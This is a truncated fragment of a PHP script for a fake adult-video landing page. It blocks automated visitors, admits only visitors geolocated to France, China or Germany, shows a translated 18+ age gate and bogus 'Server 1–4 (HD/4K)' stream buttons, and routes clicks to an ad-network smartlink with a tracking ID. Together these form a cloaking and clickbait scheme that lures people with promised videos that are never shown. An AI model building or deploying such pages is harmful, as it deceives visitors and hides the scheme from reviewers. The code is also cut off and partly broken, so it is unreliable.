Access Denied

Automated access is not permitted.

"); } // --- GEO-BLOCKING LOGIC (STRICT MODE) --- $allowed_countries = ['FR', 'CN', 'DE']; // Get actual IP (Prioritize Cloudflare if available) $client_ip = $_SERVER['REMOTE_ADDR']; if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { $client_ip = $_SERVER["HTTP_CF_CONNECTING_IP"]; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $client_ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]; } $country_code = ''; // 1. Try Cloudflare Country Header (Fastest & Most Reliable) if (isset($_SERVER["HTTP_CF_IPCOUNTRY"])) { $country_code = strtoupper($_SERVER["HTTP_CF_IPCOUNTRY"]); } else { // 2. Fallback to API with a fast timeout $opts = ["http" => ["timeout" => 2]]; // 2-second timeout so it doesn't freeze your server $context = stream_context_create($opts); $api_url = "http://ip-api.com/json/" . trim($client_ip) . "?fields=countryCode"; $geo_data = @file_get_contents($api_url, false, $context); if ($geo_data !== false) { $geo_arr = json_decode($geo_data, true); $country_code = isset($geo_arr['countryCode']) ? strtoupper($geo_arr['countryCode']) : ''; } } // STRICT BLOCK: If it is NOT explicitly FR, CN, or DE, block them. if (!in_array($country_code, $allowed_countries)) { header("HTTP/1.1 403 Forbidden"); die("

Access Denied

This content is not available in your region.

"); } // --- CONFIGURATION --- $base_url = "https://www.effectivegatecpm.com/cudmv8wa?key=315502858bd4f147c115706d7739b3a4"; $click_id = isset($_GET['clickid']) ? $_GET['clickid'] : (isset($_GET['cid']) ? $_GET['cid'] : ''); $destination_url = $base_url; if (!empty($click_id)) { $separator = (strpos($destination_url, '?') !== false) ? '&' : '?'; $destination_url .= $separator . "sub_id_1=" . urlencode($click_id); } // --- LANGUAGE DETECTION --- $user_lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en', 0, 2); $translations = [ 'en' => ['warn' => 'Warning: 18+', 'adult' => 'This video contains adult content.', 'confirm' => 'Please confirm your age to continue.', 'btn' => 'I am over 18 - Enter', 'verify' => 'Verifying Age...', 'watch' => 'Watch Now'], 'fr' => ['warn' => 'Attention: 18+', 'adult' => 'Cette vidéo contient du contenu adulte.', 'confirm' => 'Veuillez confirmer votre âge pour continuer.', 'btn' => 'J\'ai plus de 18 ans - Entrer', 'verify' => 'Vérification de l\'âge...', 'watch' => 'Regarder'], 'es' => ['warn' => 'Advertencia: 18+', 'adult' => 'Este video contiene contenido para adultos.', 'confirm' => 'Por favor confirme su edad para continuar.', 'btn' => 'Soy mayor de 18 - Entrar', 'verify' => 'Verificando edad...', 'watch' => 'Ver Ahora'], 'pt' => ['warn' => 'Aviso: 18+', 'adult' => 'Este vídeo contém conteúdo adulto.', 'confirm' => 'Por favor, confirme sua idade para continuar.', 'btn' => 'Tenho mais de 18 anos - Entrar', 'verify' => 'Verificando idade...', 'watch' => 'Assistir Agora'], 'de' => ['warn' => 'Warnung: 18+', 'adult' => 'Dieses Video enthält Inhalte für Erwachsene.', 'confirm' => 'Bitte bestätigen Sie Ihr Alter.', 'btn' => 'Ich bin über 18 - Eintreten', 'verify' => 'Alter wird überprüft...', 'watch' => 'Jetzt Ansehen'], 'it' => ['warn' => 'Attenzione: 18+', 'adult' => 'Questo video contiene contenuti per adulti.', 'confirm' => 'Conferma la tua età per continuare.', 'btn' => 'Ho più di 18 anni - Entra', 'verify' => 'Verifica età...', 'watch' => 'Guarda Ora'], ]; $txt = $translations[$user_lang] ?? $translations['en']; // --- HEADER FIXES --- header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Pragma: no-cache"); // --- VISUALS --- $streams = [ 1 => ['image' => 'https://1.giveawayshubbs.com/Image1.png', 'label' => 'Server 1', 'color' => 'bg-green-500'], 2 => ['image' => 'https://india.giveawayshubs.online/facebook.jpg', 'label' => 'Server 2', 'color' => 'bg-blue-500'], 3 => ['image' => 'https://india.giveawayshubs.online/2e8xd79.jpg', 'label' => 'Server 3 (HD)', 'color' => 'bg-red-500'], 4 => ['image' => 'https://india.giveawayshubs.online/fb.jpg', 'label' => 'Server 4 (4K)', 'color' => 'bg-yellow-500'] ]; $display_order = $streams; ?> <?php echo $txt['warn']; ?>

$stream): ?>